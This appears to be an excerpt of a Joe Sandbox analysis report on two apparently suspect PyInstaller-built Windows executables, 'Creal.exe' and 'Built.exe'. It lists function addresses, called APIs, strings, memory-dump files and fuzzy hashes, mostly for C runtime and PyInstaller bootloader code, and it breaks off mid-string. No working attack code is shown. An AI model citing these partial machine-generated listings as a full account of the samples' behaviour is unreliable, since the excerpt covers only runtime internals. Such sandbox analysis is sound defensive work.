Instruction Fuzzy Hash: 98519136B296028AFB14CF15E64467D7791EB68B98F104236DA4E87B44DF7CF861CB40

Function 00007FF6D924F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6D924F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6D924F398

Strings

csm, xrefs: 00007FF6D924F3EA
csm, xrefs: 00007FF6D924F2D2

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: a65ae7baa2d259212aa81418b6c7f778396c80a12c435dd1792f4b4aa35d46cd
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 45516572B1868286FB648F2292842AC7790FBA9B94F144137DB5D87B95CF3CE464CF41

Function 00007FF6D924EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6D924EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6D924EF83

Strings

RCC, xrefs: 00007FF6D924EF53
MOC, xrefs: 00007FF6D924EF4B

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 2c27805dceff4a5cd91edf87c41ce63fa428e671e4587d1c75f9c2d47be39264
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 10617332918BC585E7609F15E5403AEB7A0FBA9794F044226EB9C57B59DF7CD1A0CF00

Function 00007FF6D9242810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF6D92428EA

Strings

Error, xrefs: 00007FF6D92428DD
ERROR, xrefs: 00007FF6D924286F
[PYI-%d:%ls] , xrefs: 00007FF6D9242868

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 58ce996719f02433b3117e90c1f4ed89f26977b56c166f27dac903724a8b7b45
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: B0219C62B28B4182F7109F55B9457EE73A4EB88780F400136EA8D97A5ADE3CE265C780

Function 00007FF6D925C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6D925C61F
WriteFile.KERNEL32 ref: 00007FF6D925C8E7
WriteFile.KERNEL32 ref: 00007FF6D925C92D
GetLastError.KERNEL32 ref: 00007FF6D925C9E3

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 336e5bcc35dd18355793422049d5200d224c31644277eac0c4ff4a3b8d0d3fb0
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 6BD1FF72B28A818AF751CF65D6402BC37B1FB55B98B044236DE4E97B9DEE38D026C740

Function 00007FF6D92420C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6D92420F4
SetWindowLongPtrW.USER32 ref: 00007FF6D9242116
GetWindowLongPtrW.USER32 ref: 00007FF6D9242140
InvalidateRect.USER32 ref: 00007FF6D9242160

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 3b18c3a841597aeddf4163250779800b29def222440fb6ecafa15dd42e53f617
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 8F11A921A2C14242FA549FABEB4427D52A1EBAC780F445032DB4D87F9ACD6DD4A58A00

Function 00007FF6D924D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6D924D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF6D924D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF6D924D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF6D924D066

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 63c344671a1aea072269ee4e48578cfd5f5c21c8497e14d6e710e585fad46c91
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: A4111C22B29B058AFB008F60E9552AD33A4FB59758F441E32DA6D96BA4DF78D164C380

Function 00007FF6D9265B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6D9261760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9261793

_get_daylight.LIBCMT ref: 00007FF6D9265C34
_get_daylight.LIBCMT ref: 00007FF6D9265C45

Strings

?, xrefs: 00007FF6D9265BC5

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: 39bbdf2b0eb38380151156f89fcf2464a9df49616d8e3087d06b67cbabe84bd5
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: 4A412912A2878246FB648F65D60177E67A0EB80BA4F144236EE5C87ED9DF3CD461C740

Function 00007FF6D9259014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9259046

Part of subcall function 00007FF6D925A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A95E
Part of subcall function 00007FF6D925A948: GetLastError.KERNEL32(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6D924CBA5), ref: 00007FF6D9259064

Strings

C:\Users\user\Desktop\Creal.exe, xrefs: 00007FF6D9259052

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\Creal.exe
API String ID: 3580290477-3523861777
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: e583fd4c3357485405a8a9802cc23a8eaaf7672e80791815359a50c27b51fb0d
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: 43418436A2871286FB95DF25DA410BD67A4EF457D0B958037E94EC3B89DE3CE4A1C340

Function 00007FF6D925CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6D925CD4F
GetLastError.KERNEL32 ref: 00007FF6D925CD71

Strings

U, xrefs: 00007FF6D925CCFB

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 9980edbc9dfa57efdf4825415ece5f402bd261f03fb844ff256926ece31e207c
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 1B418232A29A4181EB60EF25E5443BD67A0FB99794F444136EA4DC7B98EF3CD451C740

Function 00007FF6D925F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6D925F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6D925F64A

Strings

:, xrefs: 00007FF6D925F60E

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction ID: 06a3e248255f5f090e15e398a237d644ea87f8f56fb39155edf5bf4fe5a8bbe1
Opcode Fuzzy Hash: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction Fuzzy Hash: 13212672B2828181FB60DF15D5842BD73B1FB88B44F854036DA9D83A98CF7CE955CB81

Function 00007FF6D924FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6D924FD98
RaiseException.KERNEL32 ref: 00007FF6D924FDD9

Strings

csm, xrefs: 00007FF6D924FDC6

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: e5379774fd75c3765a574f05f5d53c9229a2cda932b6a0c4b78e0da53d758524
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 58112E32618B8182EB618F15F94029E77E4FB98B84F584231DB8D47B54DF3CD561CB40

Function 00007FF6D926073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D926076C
GetDriveTypeW.KERNEL32 ref: 00007FF6D92607AC

Strings

:, xrefs: 00007FF6D9260795

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 9622afa5ae1f65600d053776e62f48f5adbb15b660c2d64dbc580dbef9987692
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 3801A222A3C20386F761AF61A56527E63A0EF4A744F800037D54DC2A95DF3CE524DB54

Analysis Process: Built.exePID: 2760, Parent PID: 4976COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	69

Executed Functions

Function 00007FF65E2889E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E289390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF65E2845F4,00000000,00007FF65E281985), ref: 00007FF65E2893C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288A56

Part of subcall function 00007FF65E29A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29A490

Part of subcall function 00007FF65E29871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E298783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288AE6
CreateProcessW.KERNELBASE ref: 00007FF65E288B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288B28

Part of subcall function 00007FF65E282C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282C9E
Part of subcall function 00007FF65E282C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282D63
Part of subcall function 00007FF65E282C50: MessageBoxW.USER32 ref: 00007FF65E282D99

RegisterClassW.USER32 ref: 00007FF65E288B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288B8B
CreateWindowExW.USER32 ref: 00007FF65E288BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288C15
PeekMessageW.USER32 ref: 00007FF65E288C39
TranslateMessage.USER32 ref: 00007FF65E288C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288C51
PeekMessageW.USER32 ref: 00007FF65E288C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288E04
GetExitCodeProcess.KERNELBASE ref: 00007FF65E288E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF65E283F7F), ref: 00007FF65E288E2F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF65E288B95
CreateProcessW, xrefs: 00007FF65E288B37
Failed to create child process!, xrefs: 00007FF65E288B30
PyInstallerOnefileHiddenWindow, xrefs: 00007FF65E288B54

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 43e4283f9dd56cf59b8c0e12dfa6f8cf4fc24f1b1fb76e800882b82e956e2f8b
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 15D16032A08B8286EF149F34EA542A93761FFA4758F484235FA5EE2A9CDF7CD544C700

Function 00007FF65E281000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Could not create temporary directory!, xrefs: 00007FF65E283CBF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF65E283EA6
Failed to convert DLL search path!, xrefs: 00007FF65E283DDC
Py_GIL_DISABLED, xrefs: 00007FF65E283AF4
bye-runtime-tmpdir, xrefs: 00007FF65E283B68
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF65E283882, 00007FF65E2838AF
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF65E283E0A
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF65E283BE8
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF65E283A17, 00007FF65E283A2F, 00007FF65E283A9B
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF65E283971
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF65E283EBB
pkg, xrefs: 00007FF65E2839BE
_PYI_SPLASH_IPC, xrefs: 00007FF65E283A23, 00007FF65E283EF5
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF65E283C61
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF65E283D35
VCRUNTIME140.dll, xrefs: 00007FF65E283DB1
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF65E283A0B, 00007FF65E283CD4, 00007FF65E283F6B
pyi-disable-windowed-traceback, xrefs: 00007FF65E283BB2
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF65E283B32
pyi-python-flag, xrefs: 00007FF65E283AD6
pyi-contents-directory, xrefs: 00007FF65E283B8D
Failed to load splash screen resources!, xrefs: 00007FF65E283E85
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF65E2839DE
_PYI_ARCHIVE_FILE, xrefs: 00007FF65E2838D2, 00007FF65E2839FF
Failed to start splash screen!, xrefs: 00007FF65E283ED4
MEI, xrefs: 00007FF65E283933
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF65E283D12
Failed to remove temporary directory: %s, xrefs: 00007FF65E283FCF

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child 